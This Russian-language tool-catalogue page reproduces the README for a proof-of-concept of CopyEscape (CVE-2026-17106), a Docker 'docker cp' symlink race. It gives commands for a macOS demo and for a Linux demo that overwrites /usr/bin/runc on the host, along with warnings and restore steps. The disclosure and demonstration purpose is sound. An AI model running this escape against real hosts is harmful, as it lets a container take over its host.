Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CopyEscape-CVE-2026-17106 — PoC-репозиторий для поста в блоге CopyEscape: захват Docker-хостов с помощью docker cp | Kitploit
Инструменты/GitHubGitHub/masasron/copyescape-cve-2026-17106
Безопасность контейнеровАнализ уязвимостейЭксплуатацияRed TeamingПобег из КонтейнераСостязательная Атака
GitHubmasasron/copyescape-cve-2026-17106

CopyEscape-CVE-2026-17106

PoC-репозиторий для поста в блоге CopyEscape: захват Docker-хостов с помощью docker cp

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
РепозиторийСайт
2481 месяц назадЕщё не проверено

CopyEscape: захват хостов Docker с помощью docker cp (CVE-2026-17106)

Это PoC-репозиторий для статьи в блоге CopyEscape: захват хостов Docker с помощью docker cp — CVE-2026-17106.

CopyEscape позволяет вредоносному запущенному контейнеру вступить в гонку с генератором архивов Docker и создать несогласованный tar-поток. Уязвимый клиент Docker затем может перейти по внедрённой символической ссылке во время извлечения и записать данные за пределы локального назначения, выбранного пользователем, запустившим docker cp.

Репозиторий содержит две демонстрации:

  • macos/ содержит неразрушающую демонстрацию для Docker Desktop, которая создаёт ~/pwnd на хосте macOS.
  • linux/ содержит оригинальную Linux-демонстрацию с высокой степенью воздействия, которая перезаписывает /usr/bin/runc и создаёт /imperva_red_team при выполнении заменённой среды выполнения.

[!WARNING] Запускайте эти PoC только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Linux-PoC намеренно заменяет /usr/bin/runc; используйте одноразовую виртуальную машину и сделайте проверенную резервную копию перед его запуском.

Требования

  • Уязвимый выпуск Docker Engine или Docker Desktop.
  • Запущенный демон Docker.
  • Оболочка с доступом к Docker CLI.
  • Права root для Linux-демонстрации с /usr/bin/runc.

PoC были разработаны и протестированы с Docker Engine/CLI 29.6.1 и Docker Desktop 4.81.0. Исправленные версии должны отклонять вредоносный архив или завершать копирование без записи за пределы выбранного назначения.

macOS PoC: создание ~/pwnd

Эта демонстрация нацелена на домашний каталог пользователя, запускающего Docker CLI. Она отказывается продолжать работу, если ~/pwnd или локальный файл назначения file.txt уже существуют.

Запуск:

root@kitploit:~
cd macos
./demo-macos.sh

Скрипт собирает образ, запускает подготовленный контейнер, подтверждает, что /watched/file.txt выглядит как обычный файл внутри него, и запускает:

root@kitploit:~
docker cp <demo-container>:/watched/file.txt ./file.txt

В уязвимой версии Docker Desktop копирование создаёт:

root@kitploit:~
~/pwnd

со следующим содержимым:

root@kitploit:~
COPYESCAPE_MACOS_DEMO

Очистка:

root@kitploit:~
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local

Linux PoC: перезапись /usr/bin/runc

[!CAUTION] Эта демонстрация временно делает среду выполнения хоста Docker непригодной к использованию и выполняет управляемую атакующим замену с правами root. Используйте одноразовую виртуальную машину. После завершения docker cp восстановите runc перед выполнением любой другой команды Docker.

Откройте root-оболочку и перейдите в каталог Linux-PoC:

root@kitploit:~
sudo -s
cd linux

Создайте и проверьте резервную копию перед началом теста:

root@kitploit:~
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup

Соберите образ:

root@kitploit:~
docker build -t copyescape-linux .

Запустите подготовленный контейнер в первом терминале:

root@kitploit:~
docker run --name copyescape-linux copyescape-linux

Во втором root-терминале подтвердите, что подготовленный путь выглядит как обычный файл для процесса внутри контейнера:

root@kitploit:~
docker exec copyescape-linux cat /watched/file.txt

Ожидаемый вывод:

root@kitploit:~
top-level file

Активируйте уязвимость:

root@kitploit:~
docker cp copyescape-linux:/watched/file.txt ./file.txt

В уязвимой версии Docker файл /usr/bin/runc теперь содержит PoC-скрипт оболочки. Выполнение заменённой среды выполнения создаёт маркер, принадлежащий root:

root@kitploit:~
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team

Немедленно восстановите исходную среду выполнения, прежде чем выполнять другую команду Docker:

root@kitploit:~
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version

После восстановления и проверки runc удалите оставшиеся тестовые артефакты:

root@kitploit:~
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team

Как работают демонстрации

Оба PoC представляют /watched/file.txt как обычный файл для процессов, работающих в контейнере, тогда как демон Docker видит нижележащий каталог. Во время обхода файловой системы Docker монитор заменяет каталог подготовленной абсолютной символической ссылкой. Полученный tar-поток содержит символическую ссылку, за которой следует дочерняя запись, расположенная под ней. Уязвимый клиент Docker создаёт символическую ссылку, а затем извлекает через неё дочернюю запись в файловую систему клиента.

Финальная запись выполняется с правами процесса, запустившего docker cp.

Скачать инструмент